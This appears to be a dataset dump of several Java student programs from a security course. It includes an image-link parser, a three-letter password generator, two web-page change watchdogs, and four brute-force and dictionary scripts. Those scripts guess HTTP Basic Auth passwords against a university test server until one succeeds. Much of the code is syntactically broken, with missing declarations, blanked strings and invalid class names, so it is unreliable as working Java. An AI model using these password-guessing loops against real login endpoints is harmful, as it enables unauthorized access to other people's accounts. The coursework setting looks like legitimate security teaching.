    public ParsingImgLink( String baseURL, String str )
    {
        url = baseURL;
        line = str;
        parsingLine();
    }

    public void parsingLine()
    {
        int  end;
        String imgURLStr = null;
        if( ( url = line.indexOf(""src=\"""") ) != -1 )
        {
            String subStr = line.substring(+5);
            end   = subStr.indexOf(""\"""");
            imgURLStr = subStr.substring( 0, end );
            System.out.println(imgURLStr);
        }
        else if( ( end = line.indexOf(""SRC=\"""")) != -1 )
        {
            String subStr = line.substring(+5);
            end   = subStr.indexOf(""\"""");
            imgURLStr = subStr.substring( 0, end );
            System.out.println(imgURLStr);
        }

        if( imgURLStr.indexOf(""://"") == -1 )
        {
            try
            {
                URL    baseURL = new URL( url );
                URL imgURL  = new URL( baseURL, imgURLStr );
                imgLink = imgURL.toString();
            }
            catch( MalformedURLException mue )
            {
                String msg = ""Unable  parse URL !"";
                System.err.println( msg );
            }
        }
    }

    public String getImgLink()
    {
        return imgLink;
    }
} "
050.java,"import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;

public class makePasswords
{
  public String [ ]  alphabet1 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"",
  ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"",
  ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"",
  ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
  
  public String [ ]  alphabet2 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"",
  ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"",
  ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"", ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
  
  public String [ ]  alphabet3 = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"",
  ""J"", ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"", ""U"", ""V"", ""W"", ""X"",
  ""Y"", ""Z"", ""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"", ""k"", ""l"", ""m"",
  ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"", ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
  
  Vector in = new Vector();
  
  public void makePass()
  {
   try
  {
  PrintWriter pw = new PrintWriter(new FileWriter(""new.txt""));
  
    for(int i = 0; i < alphabet1.length; i++)
    {
      for(int j = 0; j < alphabet2.length; j++)
       {
        for(int k = 0; k < alphabet3.length; k++)
	   {
	    String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]);
	    pw.println(newStr);
	  }
      }
    }
    }catch(Exception ex){} 
  }
  
  
  private StringTokenizer tokenizer;
  private BufferedReader bf;
  private String line;
  private String first;
   
  public void loadFile()throws NoSuchElementException, IOException
  {
    
    try{
    bf = new BufferedReader(new FileReader(""new.txt""));
    }
    catch(FileNotFoundException fe){}
    catch(IOException io){}
    while((line = bf.readLine())!=null)
      {

        int index = 0;
        tokenizer = new StringTokenizer(line);
        try
	   {
	     first = tokenizer.nextToken();
	     
	     
	     if (first.length() == 3)
	     {
		in.add(first);
	     }
	  }
        catch(NoSuchElementException n)
	   {
          System.out.println(""File Loaded Succesfully"");

        }

      }
   }
   public Vector getVector()
  {
    return in;
  }
  
  
  
  public static void main(String args[])
  {
    makePasswords mP = new makePasswords();
    mP.makePass();
    Vector v = mP.getVector();
    
  }
}
"
244.java,"






























import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) throws IOException {

      
      int start , end, total;
      start = System.currentTimeMillis(); 

      String username = """";
      String password = null;
      String host = ""http://sec-crack.cs.rmit.edu./SEC/2/"";

      
      
      String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
      int lettersLen = letters.length(); 
      int passwordLen=3; 

      int passwords=0; 
      int twoChar=0; 

      url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
      

      
      String authenticate = """"; 
      String realm = null, domain = null, hostname = null;
       header = null; 

      
      int responseCode;
      String responseMsg;

      
      int temp1=0;
      int temp2=0;
      int temp3=0;


      
      
      
      for (int a=1; a<=passwordLen; a++) {
        temp1  = (int) Math.pow(lettersLen, a);
         passwords += temp1;
         if (a==2) {
            twoChar = temp1; 
         }
      }

      System.out.println(""Brute Attack  "" + host + "" has commenced."");
      System.out.println(""Number of possible password combinations: "" + passwords);


      int i=1; 

       {
         try {
            
            URL url = new URL(host);
            HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();

            
            if(realm != null) {

               
               if ( i < lettersLen) {
                  

                   password = letters.substring(i, (i+1));

               } else if (i < (lettersLen + twoChar)) {
                   

                   
                   temp1 = i / lettersLen;
                   password = letters.substring((-1), start );

                   
                   temp1 = i - ( temp1 * lettersLen);
                   password = password + letters.substring(temp1, (+1));

               } else {
                   

                   
                   temp2 = i / lettersLen;
                   temp1 = i - (temp2 * lettersLen);
                   password = letters.substring(temp1, (+1));

                   
                   temp3 = temp2; 
                   temp2 = temp2 / lettersLen;
                   temp1  = temp3 - (temp2 * lettersLen);
                   password = letters.substring(temp1, (+1)) + password;

                   
                   temp3 = temp2; 
                   temp2 = temp2 / lettersLen;
                   temp1 = temp3 - (temp2 * lettersLen);
                   password = letters.substring(temp1, (+1)) + password;

               } 

               
               
               authenticate = username + "":"" + password;
               authenticate = new String(base.encode(authenticate.getBytes()));
               httpConnect.addRequestProperty(""Authorization"", "" "" + authenticate);

            } 

            
            httpConnect.connect();

            
            realm = httpConnect.getHeaderField(""WWW-Authenticate"");
            if (realm != null) {
               realm = realm.substring(realm.indexOf('""') + 1);
               realm = realm.substring(0, realm.indexOf('""'));
            }

            hostname = url.getHost();

            
            responseCode = httpConnect.getResponseCode();
            responseMsg = httpConnect.getResponseMessage();

            
            
            
            
            

            
            
            if (responseCode == 200) {
               
               end = System.currentTimeMillis();
               total = (end - start) / 1000; 

               System.out.println (""Sucessfully Connected  "" + url);
               System.out.println(""Login Attempts Required : "" + (i-1));
               System.out.println(""Time Taken in Seconds : "" + total);
               System.out.println (""Connection Status : "" + responseCode + "" "" + responseMsg);
               System.out.println (""Username : "" + username);
               System.out.println (""Password : "" + password);
               System.exit( 0 );
            } else if (responseCode == 401 && realm != null) {
               
               
               
               if (i > 1) {

               }
            } else {
               
               
                System.out.println (""What the?... The server replied with  unexpected reponse."" );
               System.out.println ("" Unexpected Error Occured While Attempting  Connect  "" + url);
               System.out.println (""Connection Status: "" + responseCode + responseMsg);
               System.out.println (""Unfortunately the password could not  recovered."");
               System.exit( 0 );
           }

           i++;

        } catch(MalformedURLException e) {
           System.out.println(""Opps, the URL "" + host + "" is not valid."");
           System.out.println(""Please check the URL and try again."");
        } catch(IOException e) {
           System.out.println("", 't connect  "" + host + ""."");
           System.out.println(""Please check the URL and try again."");
           System.out.println(""Other possible causes include website is currently unavailable"");
           System.out.println(""  have  internet connection problem."");
        } 

     }  while(realm != null); 


   }
}"
229.java,"

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class WatchDog {
 public static void  main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
   try{
     twentyfourhours = 86400000;
    Timer timer = new Timer();
    final Runtime rt = Runtime.getRuntime();

    try{
     Process wg1 = rt.exec(""./.sh"");
     wg1.waitFor();
    }
    catch(InterruptedException e ){
     System.err.println();
     e.printStackTrace();
    }

    class RepeatTask extends TimerTask{
     public void run(){
      try{
       Process wg2 = rt.exec(""./task.sh"");
       wg2.waitFor();
       FileReader fr = new FileReader(""check.txt"");
       BufferedReader bufr = new BufferedReader(fr);
       String check = bufr.readLine();
       if(check.equals("".txt: FAILED"")) {
        Process difftosend = rt.exec(""./diff.sh"");
        difftosend.waitFor();
        Process reset = rt.exec(""./.sh"");
        reset.waitFor();
       }
       FileReader fr2 = new FileReader(""imgdiffs.txt"");
       BufferedReader bufr2 = new BufferedReader(fr2);
       String imdiff = bufr2.readLine();
       if(imdiff != null){
        Process imdifftosend = rt.exec(""./img.sh"");
        imdifftosend.waitFor();
        Process reset = rt.exec(""./.sh"");
        reset.waitFor();
       }
      }
   catch(InterruptedException e){System.err.println();e.printStackTrace();}
      catch(IOException e){
       System.err.println(e);
       e.printStackTrace();
      }
    }}

    timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
    
   }
   catch(IOException e){
    System.err.println(e);
    e.printStackTrace();
   }
   
}}
"
173.java,"





import java.util.*;
import java.io.*;
import java.net.*;

public class Watchdog extends TimerTask
{
	public void run()
	{
		Runtime t = Runtime.getRuntime();
	  	Process pr= null;
	  	String Fmd5,Smd5,temp1;
	  	int index;
          
	 	try
          	{
		    
		    pr = t.exec(""md5sum csfirst.html"");

                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());
                    BufferedReader bread = new BufferedReader(stre);
		    
		    s = bread.readLine();
		    index = s.indexOf(' ');
		    Fmd5 = s.substring(0,index);
		    System.out.println(Fmd5);
		    
		    pr = null;
		    
		    pr = t.exec(""wget http://www.cs.rmit.edu./students/"");
		    pr = null;
		    
		    pr = t.exec(""md5sum index.html"");
		    

		    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());
                    BufferedReader bread1 = new BufferedReader(stre1);
		    
		    temp1 = bread1.readLine();
		    index = temp1.indexOf(' ');
		    Smd5 = temp1.substring(0,index);
		    System.out.println(Smd5);
		
		    pr = null;
		
		    if(Fmd5 == Smd5)
		       System.out.println(""  changes Detected"");
		    else
		    {
		       pr = t.exec(""diff csfirst.html index.html > report.html"");
		       pr = null;
		       
		       try{
		       Thread.sleep(10000);
		       }catch(Exception e){}
		       
		       pr = t.exec("" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu."");
		     
		       
		       
		    }   
		    
    	        }catch(java.io.IOException e){}
	}
}		
"
130.java,"import java.net.*;
import java.io.*;

public  class Dictionary
{
	public Dictionary(String u,String uname) throws Exception
	{
		URL url=null;
		String pass="""";
		try
		{
			url=new URL(u);
			PasswordAuthentication pa;
			MyAuthenticator =new MyAuthenticator();
			HttpURLConnection htt ;
			BufferedReader in=new BufferedReader(new FileReader(new File(""/usr/share/lib/dict/words""))); 
			int c=0;
			while((pass=in.readLine()) != null)
			{
				if(pass.length()<=3)
				{
					c++;
					pa=new PasswordAuthentication(uname,pass.toCharArray());
					htt.setPasswordAuthentication(pa);
					Authenticator.setDefault();
					htt=(HttpURLConnection)url.openConnection();
System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+bf.getResponseMessage()+"")"");
					if(htt.getResponseCode() != 401)
						throw new NullPointerException();


					htt.disconnect();
				}
			}

		}
		catch(MalformedURLException mfe)
		{
			System.out.println(""The URL :""+u+"" is not a proper URL."");
		}
		catch(NullPointerException great)
		{
			System.out.println(""\n\n The password is cracked.\n The password is : ""+pass);
		}
		catch(Exception e)
		{
			e.printStackTrace();
		}
	}


	public static void main (String[] args)  throws Exception
	{
		if(args.length!=2)
			System.out.println(""Usage :\n java Dictionary <url> <user-name>"");
		else
		{
			System.out.println(""Starting the Dictionary Attack : ""+args[0]);
			new Dictionary(args[0],args[1]);
		}
	}
}


"
010.java,"

import java.io.*;
import java.*;
import java.util.StringTokenizer;

public class Dictionary
{
   public static void main(String args[])
   {
      final String DICT_FILE = ""/usr/share/lib/dict/words""; 
      String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";  
      String password;
      String s = null;
      int num_tries = 0;
      
      try
      {
         
         BufferedReader dict_word = new BufferedReader
                                  (new FileReader (DICT_FILE));
  
         
         while((password = dict_word.readLine())!= null)
         {        
            try 
            {
               
               Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd="" + password + "" "" + basic_url);
              
               BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

               BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

               
               while ((s = stdInput.readLine()) != null)
               {
                  System.out.println(s);
               }
                  
               
               while ((s = stdError.readLine()) != null)
               {
                  System.out.println(s);
               }

               try
	       {
                  p.waitFor(); 
               }
               catch (InterruptedException g)  
               {
               }  

               num_tries++;
                  
               if((p.exitValue()) == 0) 
               {       
                  System.out.println(""**********PASSWORD IS: "" + password);
	          System.out.println(""**********NUMBER OF TRIES: "" + num_tries);
                  System.exit(1);
               }
            }
            catch (IOException e)
            {
               System.out.println(""exception happened - here's what I know: "");
               e.printStackTrace();
               System.exit(-1);
            }
         }
         
         System.out.println(""DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD"");
         System.out.println(""**********Sorry, password was not found in dictionary file"");
         System.exit(1);

      }
      catch (FileNotFoundException exception)
      {
         System.out.println(exception);
      }
      catch (IOException exception)
      {
         System.out.println(exception);
      }
   }
}
  
"
161.java,"
import java.net.*;
import java.io.*;
import java.util.*;


public class Dictionary {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;
  try {
               URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");



              start =System.currentTimeMillis();

               BufferedReader dis = new BufferedReader(new FileReader(""words""));


         while ((pass = dis.readLine()) != null)
          {


              UserPass= auth.encode("""",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

              connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu."");
              connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1"");
              connect.setRequestProperty(""Authorization"","" "" + UserPass);
              connect.connect();
              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);
             if (status.equalsIgnoreCase(""HTTP/1.1 200 OK""))
              {
              System.out.println(""Password is "" + pass);
              end=System.currentTimeMillis();
              diff = end - start;
              System.out.println(""Time Taken = "" + (diff/1000) + "" secs"");
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }

            System.out.println("" match found"");

            dis.close();
            dis=null;

            connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println(""Unable  Open URL"" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println(""Unable  open file"" + ioerr);
  }




  }
}"
157.java,"



import java.net.*;
import java.io.*;
import java.util.Date;

public class Dictionary {
  private URL url;
  private HttpURLConnection connection;
  private String userPassword, base64_userPassword;
  private static char wrongPass;
  private FileReader file;
  private static BufferedReader input;

  public Dictionary(String fileName) {
    wrongPass = 'Y';
    try
    {
      FileReader file = new FileReader(fileName);
      input = new BufferedReader(file);
    }
    catch (FileNotFoundException e)
    {System.out.println(""Unable   the file! "");}
  }

  public char determinePass(String inputURL, String userName, String passWord){

    try{
        url = new URL(inputURL);
        connection = (HttpURLConnection)url.openConnection();
        this.getEncoded(userName, passWord);
        connection.setDoInput(true);
        connection.setDoOutput(false);
        connection.setRequestProperty(""Authorization"",
                                      "" "" + base64_userPassword);

        if  (connection.getResponseCode() == 200)
        {

          System.out.println(""Success!! Password is: "" + passWord);
          wrongPass = 'N';
        }

        return wrongPass;
    }
    catch (MalformedURLException e){System.out.println(""Invalide url"");}
    catch (IOException e){System.out.println(""Error  URL"");
                          wrongPass = 'Y';}
    return wrongPass;
  }

  public static void main(String[] args) {
    String dictionaryPass;

    Dictionary dictionary1 = new Dictionary(args[2]);

    Date date = new Date(System.currentTimeMillis());
    System.out.print("" time is: "");
    System.out.println(date.toString());

    try
    {      while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y'))
               {

                 if (dictionaryPass.length() <= 3)
                 {
                   dictionary1.determinePass(args[0], args[1], dictionaryPass);
                 }
               }
    }    catch(IOException x) {      x.printStackTrace();    }

    date.setTime(System.currentTimeMillis());
    System.out.print(""End time is: "");
    System.out.println(date.toString());
  }

  private void getEncoded(String userName, String password){
    userPassword = userName + "":"" + password;
    base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
  }

}
"